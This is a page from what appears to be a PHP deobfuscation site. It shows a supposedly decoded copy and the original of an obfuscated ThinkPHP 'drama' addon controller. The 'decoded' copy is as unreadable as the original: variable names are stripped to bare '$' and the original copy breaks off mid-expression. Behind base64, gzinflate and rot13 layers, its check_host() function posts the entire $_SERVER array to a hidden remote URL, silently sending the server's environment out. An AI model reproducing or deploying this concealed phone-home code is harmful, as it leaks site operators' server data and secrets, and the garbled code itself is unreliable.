Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace addons\drama\controller;if(!defined('')) define('', '');$;$GLOBALS[] = ca..
Decoded Output download
<?php
namespace addons\drama\controller;if(!defined('')) define('', '');$;$GLOBALS[] = call_user_func(base64_decode('ZXhwbG9kZQ'), base64_decode('MzMzNzM2MzMzMzM0MzMzMDM3NjMzMjM3N2MyZQ'), gzinflate(substr(base64_decode('H4sIAAAAAAAAA61YW5IlKQjdz3yZCoKfamrMPiZm/1uYA95b1RXRoVlT3RVt5lVAhMPD/PuvlJKknOwf4X9Igh8xifwT/80sKpQ5D5CUPPPgmTueV7ZZ2vGKOk0UzrKjG1pnk8HKqhjvpkPb3W5R+uAfWVtJg9tVeKuvcWRoOk7akbDSzYkvmtTp4kCNBl8cGdviXfHspFS5kpngos6JGigUHGkrm4jJaAOkhEdnb21i1BpGKaXSWwLmKua4ToULtMBCudyaxmxdL4pSYqA7Tymyt4v5TEDHsvcZvGyHhZfLwbuGB8ljR3NEVsBuEW8EWXfen+Cb9A9lRsibErc+4nYb9mD9ewjeryG1lYJ5aRFYnQp8ll6me6W/fKp6FQJ9ag30o4KrBHiRy1XU0c4YQ+vLl1s9iyRaHix7iz/3n1MMpy6I5o63erBoEoK9KHsGEDHrbbVOli+Mxzn6kf6dVzrGsc8Z2XYnfp12671fPUZN4UOut3mg9KpfPLZmFqVobPAwPDbgpdnCSBoUniyz3oaFKqPAh46IOl6rXGarkHBp+M3qCwutASnUJhCR9aozBrhhVobsblRf9p+gNS1u0EBLe68wTr1rsn0g+4ge81u+4AeWbdbKapjxDLrF2Nd4+FVbjwezcYO2o+VvxMODU5zzzROarxFcOjzLyKiWdwkz0LXOBxE5gNFTBnqhc291xJFaZJxlnU72qnv7rG3Z80JFZUPFAQ28qvw+ah/5JQB/0Sz2cw+LdQSeibZ0lnXKfj+r8PgLPFHlJzqBR5XxEEOWHW+c9JinH8bksOrkEvsf0A51BHl/9UiGgn7qBv6slu8Mv7fgQkq+4nxXgjgPUp0KBIfuZi9noYqnx0hwqWkflXHr4zggBT3Lds+8am92Ox+6lW/W02/KtnhPuW2pvOrSo64pw4vmEbbctkdF2dsIWKC01T7Vw9mudb6tjC02cGY1NEjwfmkeasyqeKvb0Ioqj25AvPMgq+Q6S8BqrfsbyrfyE853HSrNZ2942T0AHIZ17/t4H2Fyiqz/LxsxMs+1CKgnoKTGiayw4iB5FHAceC8r55oG+J3yiKYHbgtxdbmWGXWrBeEGFQ4x8pGZnljiQGMxlI8dcfVT2p0bPZmf+xTHnxzk8XzkOGfNH+DmicYPaOK2jr8zDdbp+bkT+ohkd31gCIequRo5EDWQa4C3xAjWRMPWIR8x7+t3rnYPs3XgMZLzx5Y0ezB7VsQuWM9UUDjZ+VkqLFeM3zBEt/EnyjdofH/wuxOwf0Wg84sfJB/y71wSuijqdvGxugx9gMb3b/8mERL0Ycrt9RuqCOQsfXHeLK4PJ8TF5Pd+S18EoRTaZtIfIGHd3vszPIh9bzpUcu4isXGPI6p/2cjSXRsRr9wYYTF0ON2+BSG+zQ/WyXRHx41nRLSgA/IR9cFW0Bt378cxI+q8RoknxurS1EfEGWiq8WI3o8z+Xo0L0sgpl7Too0kQnxeXjNuWUyafMR2K0WBt6eP0vsuSP1yyLp1FXELzU85YzA6e98gy3nPL2TuuZFHuX+zi9loyP9fPklEb0TkBYt4Bw66w6dbTyNrPMLHvs+xuYVElBb1b8o4H2eA/laRswdgUAAA='), 10, -8)));error_reporting(0);$;if(!extension_loaded(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][100-20*5], $GLOBALS[][0x0002]))){goto Ykzx9wB3K4;}exit(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00003]));Ykzx9wB3K4:if(!(!defined(pack($GLOBALS[][100-20*5],$GLOBALS[][0x05]))|| GXMSQOLAPKNQRTFKHTLHJZGFQLSKQXOC!=call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][100-20*5], $GLOBALS[][0x006]))){goto nxQvlCF9nV;}exit(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][100-20*5], $GLOBALS[][0x0007]));nxQvlCF9nV:use addons\drama\exception\Exception;use app\common\controller\Api;use fast\Http;use think\Cache;use think\Db;use think\Lang;class Base extends Api{protected $site_id=null;protected $sign=null;public function _initialize(){goto Dr4IoI6Xhv;$;AKl6_JwrxJ:$this->auth->{pack($GLOBALS[][4+5-3*3], $GLOBALS[][0x00008])}();$;vFmilC32uw:iB6jOmhz1B:$this->site_id=$[call_user_func(base64_decode('cGFjaw'), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000009])]?? 0;$;$this->sign=$[call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x0a])]?? call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]);$;goto H12i_bXrVX;$;gP6AWqSDCv:if(!($[call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][15-5+7-17], $GLOBALS[][0x000c])]!=0&& $[pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x0000d])]<time())){goto wFsTfFqqZk;}$this->error(pack($GLOBALS[][100-20*5],$GLOBALS[][0x0010]));wFsTfFqqZk:if(!$this->auth->{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x00011])}()){goto iB6jOmhz1B;}if(!($this->auth->site_id !==$[pack($GLOBALS[][100-20*5],$GLOBALS[][0x000012])])){goto vFmilC32uw;}goto AKl6_JwrxJ;Dr4IoI6Xhv:parent::_initialize();$;$=strtolower($this->request->{pack($GLOBALS[][100-20*5], $GLOBALS[][0x0015])}());$;$this->loadlang($);$;$=$this->getSite();$;if(!empty($)){goto bp_kpsUUhx;}goto MI6cbRc9tI;MI6cbRc9tI:$this->error(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][4+5-3*3], $GLOBALS[][0x0000018]));$;bp_kpsUUhx:if(!($[pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x019])]==pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x001a]))){goto Ot2Lx6pvwc;}$this->error(pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x0001b]));Ot2Lx6pvwc:goto gP6AWqSDCv;$;H12i_bXrVX:}protected function getSite(){goto qy1nqBVATa;$;ASu1k3HXfE:$=$[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00001c])]?? call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]);$;goto jbhvVXw7Nu;$;grZZiXXZk7:$=$[call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x000001d])]?? call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]);$;jbhvVXw7Nu:goto fZ10tOQywh;$;v_4v92xxhN:return $;$;goto S76zdak_kf;$;fZ10tOQywh:Zb0ZQap3fi:if(!($==call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]))){goto x3JEzV1FMl;}$this->error(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][3*9-27], $GLOBALS[][0x01e]));x3JEzV1FMl:$=Db::{pack($GLOBALS[][6/2*3-9], $GLOBALS[][0x001f])}(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][100-20*5], $GLOBALS[][0x00020]))->{pack($GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000021])}(pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x0000022]),$)->{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x023])}();$;goto v_4v92xxhN;$;qy1nqBVATa:$=request()->header(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][15-5+7-17], $GLOBALS[][0x000026]),call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]));$;if(!($==call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]))){goto i0eRESN9Nq;}$=request()->param(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x028]),call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]));i0eRESN9Nq:$=substr(trim($),0,0x000004);$;goto BSUyYZQRiK;$;BSUyYZQRiK:if(!($==call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]))){goto Zb0ZQap3fi;}$=$_SERVER[call_user_func(base64_decode('cGFjaw'), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00002b])];$=Db::{pack($GLOBALS[][6/2*3-9], $GLOBALS[][0x001f])}(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][100-20*5], $GLOBALS[][0x000002c]))->{pack($GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000021])}(pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x02d]),$)->{pack($GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000021])}(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x002e]),pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x0002f]))->{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x023])}();$;if($){goto grZZiXXZk7;}$=Db::{pack($GLOBALS[][6/2*3-9], $GLOBALS[][0x001f])}(pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x000030]))->{pack($GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000021])}(pack($GLOBALS[][3*9-27],$GLOBALS[][0x0000031]),0x001)->{pack($GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000021])}(pack($GLOBALS[][100-20*5],$GLOBALS[][0x032]),call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][6/2*3-9], $GLOBALS[][0x0033]))->{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x023])}();goto ASu1k3HXfE;$;S76zdak_kf:}protected function loadlang($){Lang::{call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00034])}(ADDON_PATH.pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x000035]) .$this->request->{pack($GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x0000036])}().pack($GLOBALS[][3*9-27],$GLOBALS[][0x037]) .str_replace(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00039]),pack($GLOBALS[][3*9-27],$GLOBALS[][0x037]),$).call_user_func(base64_decode('cGFjaw'), $GLOBALS[][6/2*3-9], $GLOBALS[][0x00003a]));$;}protected function dramaValidate($,$,$,$=array()){$=validate(str_replace(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][6/2*3-9], $GLOBALS[][0x03c]),pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x003d]),$));$;if($->check($,$,$)){goto lWxcfhIrrA;}$this->error($->{call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][6/2*3-9], $GLOBALS[][0x00003f])}());lWxcfhIrrA:}protected function repeat_filter($=null,$=0x05){if($){goto YQHA8Tsrqn;}$=request()->baseUrl();$=request()->ip();$;$=md5($.call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x00043]) .$);$;YQHA8Tsrqn:if(!cache(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x0000045]) .$)){goto afiDQN2V9J;}new Exception(pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x0047]));afiDQN2V9J:cache($,time(),$);$;}protected function check_host(){$=$_SERVER[call_user_func(base64_decode('cGFjaw'), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00048])];$;if(!(Cache::{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][100-20*5], $GLOBALS[][0x000049])}(pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x000004a]) .$)&& Cache::{call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x04b])}(pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x004c]) .$))){goto B4EhuATckS;}return;B4EhuATckS:try{$=Http::{call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][6/2*3-9], $GLOBALS[][0x0004d])}(pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x00004e]),[pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x000004f]) =>pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x050]),pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x0051]) =>$,pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00052]) =>json_encode($_SERVER)]);$;$=json_decode($,!0);$;}catch(\Exception $){Cache::set(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][15-5+7-17], $GLOBALS[][0x0056]) .$,0x001,0x015180);$;return;$;}if(!(isset($[pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00057])])&& $[pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x000058])]==0)){goto PlVI6gIEAd;}new Exception(str_replace(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][100-20*5], $GLOBALS[][0x0000059]),call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]),base64_decode(pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x005b]))));PlVI6gIEAd:Cache::set(pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x0005c]) .$,0x001,0x015180);$;}protected function getRootDomain($){goto ca0Ev46QR7;$;ca0Ev46QR7:$=strtolower(trim($));$;$=explode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00039]),$);$;$=count($);$;$=pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x05f]);$;$=pack($GLOBALS[][100-20*5],$GLOBALS[][0x0060]);$;goto O0KY6Cxj49;$;ATv4D2JtsA:uE3bjb6Kej:return $;$;goto LhMhn6WLAz;$;O0KY6Cxj49:if($>0x0002&&(preg_match($,$)|| preg_match($,$))){goto S8jCJDVIrA;}$=implode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][6/2*3-9], $GLOBALS[][0x0000063]),array_slice($,-0x0002,0x0002,!0));goto uE3bjb6Kej;$;S8jCJDVIrA:$=implode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00039]),array_slice($,-0x00003,0x00003,!0));$;goto ATv4D2JtsA;$;LhMhn6WLAz:}} ?>
Did this file decode correctly?
Original Code
<?php
namespace addons\drama\controller;if(!defined('')) define('', '');$;$GLOBALS[] = call_user_func(base64_decode('ZXhwbG9kZQ'), base64_decode('MzMzNzM2MzMzMzM0MzMzMDM3NjMzMjM3N2MyZQ'), gzinflate(substr(base64_decode('H4sIAAAAAAAAA61YW5IlKQjdz3yZCoKfamrMPiZm/1uYA95b1RXRoVlT3RVt5lVAhMPD/PuvlJKknOwf4X9Igh8xifwT/80sKpQ5D5CUPPPgmTueV7ZZ2vGKOk0UzrKjG1pnk8HKqhjvpkPb3W5R+uAfWVtJg9tVeKuvcWRoOk7akbDSzYkvmtTp4kCNBl8cGdviXfHspFS5kpngos6JGigUHGkrm4jJaAOkhEdnb21i1BpGKaXSWwLmKua4ToULtMBCudyaxmxdL4pSYqA7Tymyt4v5TEDHsvcZvGyHhZfLwbuGB8ljR3NEVsBuEW8EWXfen+Cb9A9lRsibErc+4nYb9mD9ewjeryG1lYJ5aRFYnQp8ll6me6W/fKp6FQJ9ag30o4KrBHiRy1XU0c4YQ+vLl1s9iyRaHix7iz/3n1MMpy6I5o63erBoEoK9KHsGEDHrbbVOli+Mxzn6kf6dVzrGsc8Z2XYnfp12671fPUZN4UOut3mg9KpfPLZmFqVobPAwPDbgpdnCSBoUniyz3oaFKqPAh46IOl6rXGarkHBp+M3qCwutASnUJhCR9aozBrhhVobsblRf9p+gNS1u0EBLe68wTr1rsn0g+4ge81u+4AeWbdbKapjxDLrF2Nd4+FVbjwezcYO2o+VvxMODU5zzzROarxFcOjzLyKiWdwkz0LXOBxE5gNFTBnqhc291xJFaZJxlnU72qnv7rG3Z80JFZUPFAQ28qvw+ah/5JQB/0Sz2cw+LdQSeibZ0lnXKfj+r8PgLPFHlJzqBR5XxEEOWHW+c9JinH8bksOrkEvsf0A51BHl/9UiGgn7qBv6slu8Mv7fgQkq+4nxXgjgPUp0KBIfuZi9noYqnx0hwqWkflXHr4zggBT3Lds+8am92Ox+6lW/W02/KtnhPuW2pvOrSo64pw4vmEbbctkdF2dsIWKC01T7Vw9mudb6tjC02cGY1NEjwfmkeasyqeKvb0Ioqj25AvPMgq+Q6S8BqrfsbyrfyE853HSrNZ2942T0AHIZ17/t4H2Fyiqz/LxsxMs+1CKgnoKTGiayw4iB5FHAceC8r55oG+J3yiKYHbgtxdbmWGXWrBeEGFQ4x8pGZnljiQGMxlI8dcfVT2p0bPZmf+xTHnxzk8XzkOGfNH+DmicYPaOK2jr8zDdbp+bkT+ohkd31gCIequRo5EDWQa4C3xAjWRMPWIR8x7+t3rnYPs3XgMZLzx5Y0ezB7VsQuWM9UUDjZ+VkqLFeM3zBEt/EnyjdofH/wuxOwf0Wg84sfJB/y71wSuijqdvGxugx9gMb3b/8mERL0Ycrt9RuqCOQsfXHeLK4PJ8TF5Pd+S18EoRTaZtIfIGHd3vszPIh9bzpUcu4isXGPI6p/2cjSXRsRr9wYYTF0ON2+BSG+zQ/WyXRHx41nRLSgA/IR9cFW0Bt378cxI+q8RoknxurS1EfEGWiq8WI3o8z+Xo0L0sgpl7Too0kQnxeXjNuWUyafMR2K0WBt6eP0vsuSP1yyLp1FXELzU85YzA6e98gy3nPL2TuuZFHuX+zi9loyP9fPklEb0TkBYt4Bw66w6dbTyNrPMLHvs+xuYVElBb1b8o4H2eA/laRswdgUAAA='), 10, -8)));error_reporting(0);$;if(!extension_loaded(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][100-20*5], $GLOBALS[][0x0002]))){goto Ykzx9wB3K4;}exit(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00003]));Ykzx9wB3K4:if(!(!defined(pack($GLOBALS[][100-20*5],$GLOBALS[][0x05]))|| GXMSQOLAPKNQRTFKHTLHJZGFQLSKQXOC!=call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][100-20*5], $GLOBALS[][0x006]))){goto nxQvlCF9nV;}exit(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][100-20*5], $GLOBALS[][0x0007]));nxQvlCF9nV:use addons\drama\exception\Exception;use app\common\controller\Api;use fast\Http;use think\Cache;use think\Db;use think\Lang;class Base extends Api{protected $site_id=null;protected $sign=null;public function _initialize(){goto Dr4IoI6Xhv;$;AKl6_JwrxJ:$this->auth->{pack($GLOBALS[][4+5-3*3], $GLOBALS[][0x00008])}();$;vFmilC32uw:iB6jOmhz1B:$this->site_id=$[call_user_func(base64_decode('cGFjaw'), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000009])]?? 0;$;$this->sign=$[call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x0a])]?? call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]);$;goto H12i_bXrVX;$;gP6AWqSDCv:if(!($[call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][15-5+7-17], $GLOBALS[][0x000c])]!=0&& $[pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x0000d])]<time())){goto wFsTfFqqZk;}$this->error(pack($GLOBALS[][100-20*5],$GLOBALS[][0x0010]));wFsTfFqqZk:if(!$this->auth->{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x00011])}()){goto iB6jOmhz1B;}if(!($this->auth->site_id !==$[pack($GLOBALS[][100-20*5],$GLOBALS[][0x000012])])){goto vFmilC32uw;}goto AKl6_JwrxJ;Dr4IoI6Xhv:parent::_initialize();$;$=strtolower($this->request->{pack($GLOBALS[][100-20*5], $GLOBALS[][0x0015])}());$;$this->loadlang($);$;$=$this->getSite();$;if(!empty($)){goto bp_kpsUUhx;}goto MI6cbRc9tI;MI6cbRc9tI:$this->error(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][4+5-3*3], $GLOBALS[][0x0000018]));$;bp_kpsUUhx:if(!($[pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x019])]==pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x001a]))){goto Ot2Lx6pvwc;}$this->error(pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x0001b]));Ot2Lx6pvwc:goto gP6AWqSDCv;$;H12i_bXrVX:}protected function getSite(){goto qy1nqBVATa;$;ASu1k3HXfE:$=$[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00001c])]?? call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]);$;goto jbhvVXw7Nu;$;grZZiXXZk7:$=$[call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x000001d])]?? call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]);$;jbhvVXw7Nu:goto fZ10tOQywh;$;v_4v92xxhN:return $;$;goto S76zdak_kf;$;fZ10tOQywh:Zb0ZQap3fi:if(!($==call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]))){goto x3JEzV1FMl;}$this->error(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][3*9-27], $GLOBALS[][0x01e]));x3JEzV1FMl:$=Db::{pack($GLOBALS[][6/2*3-9], $GLOBALS[][0x001f])}(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][100-20*5], $GLOBALS[][0x00020]))->{pack($GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000021])}(pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x0000022]),$)->{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x023])}();$;goto v_4v92xxhN;$;qy1nqBVATa:$=request()->header(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][15-5+7-17], $GLOBALS[][0x000026]),call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]));$;if(!($==call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]))){goto i0eRESN9Nq;}$=request()->param(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x028]),call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]));i0eRESN9Nq:$=substr(trim($),0,0x000004);$;goto BSUyYZQRiK;$;BSUyYZQRiK:if(!($==call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00b]))){goto Zb0ZQap3fi;}$=$_SERVER[call_user_func(base64_decode('cGFjaw'), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00002b])];$=Db::{pack($GLOBALS[][6/2*3-9], $GLOBALS[][0x001f])}(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][100-20*5], $GLOBALS[][0x000002c]))->{pack($GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000021])}(pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x02d]),$)->{pack($GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000021])}(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x002e]),pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x0002f]))->{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x023])}();$;if($){goto grZZiXXZk7;}$=Db::{pack($GLOBALS[][6/2*3-9], $GLOBALS[][0x001f])}(pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x000030]))->{pack($GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000021])}(pack($GLOBALS[][3*9-27],$GLOBALS[][0x0000031]),0x001)->{pack($GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x000021])}(pack($GLOBALS[][100-20*5],$GLOBALS[][0x032]),call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][6/2*3-9], $GLOBALS[][0x0033]))->{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x023])}();goto ASu1k3HXfE;$;S76zdak_kf:}protected function loadlang($){Lang::{call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00034])}(ADDON_PATH.pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x000035]) .$this->request->{pack($GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x0000036])}().pack($GLOBALS[][3*9-27],$GLOBALS[][0x037]) .str_replace(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][15-5+7-17], $GLOBALS[][0x00039]),pack($GLOBALS[][3*9-27],$GLOBALS[][0x037]),$).call_user_func(base64_decode('cGFjaw'), $GLOBALS[][6/2*3-9], $GLOBALS[][0x00003a]));$;}protected function dramaValidate($,$,$,$=array()){$=validate(str_replace(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][6/2*3-9], $GLOBALS[][0x03c]),pack($GLOBALS[][15-5+7-17],$GLOBALS[][0x003d]),$));$;if($->check($,$,$)){goto lWxcfhIrrA;}$this->error($->{call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][6/2*3-9], $GLOBALS[][0x00003f])}());lWxcfhIrrA:}protected function repeat_filter($=null,$=0x05){if($){goto YQHA8Tsrqn;}$=request()->baseUrl();$=request()->ip();$;$=md5($.call_user_func(base64_decode('cGFjaw'), $GLOBALS[][3*9-27], $GLOBALS[][0x00043]) .$);$;YQHA8Tsrqn:if(!cache(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x0000045]) .$)){goto afiDQN2V9J;}new Exception(pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x0047]));afiDQN2V9J:cache($,time(),$);$;}protected function check_host(){$=$_SERVER[call_user_func(base64_decode('cGFjaw'), $GLOBALS[][4+5-3*3], $GLOBALS[][0x00048])];$;if(!(Cache::{call_user_func(base64_decode('cGFjaw'), $GLOBALS[][100-20*5], $GLOBALS[][0x000049])}(pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x000004a]) .$)&& Cache::{call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[][(5+6+7-18)*0], $GLOBALS[][0x04b])}(pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x004c]) .$))){goto B4EhuATckS;}return;B4EhuATckS:try{$=Http::{call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[][6/2*3-9], $GLOBALS[][0x0004d])}(pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x00004e]),[pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x000004f]) =>pack($GLOBALS[][6/2*3-9],$GLOBALS[][0x050]),pack($GLOBALS[][(5+6+7-18)*0],$GLOBALS[][0x0051]) =>$,pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00052]) =>json_encode($_SERVER)]);$;$=json_decode($,!0);$;}catch(\Exception $){Cache::set(call_user_func(base64_decode('cGFjaw'), $GLOBALS[][15-5+7-17], $GLOBALS[][0x0056]) .$,0x001,0x015180);$;return;$;}if(!(isset($[pack($GLOBALS[][4+5-3*3],$GLOBALS[][0x00057])])&& 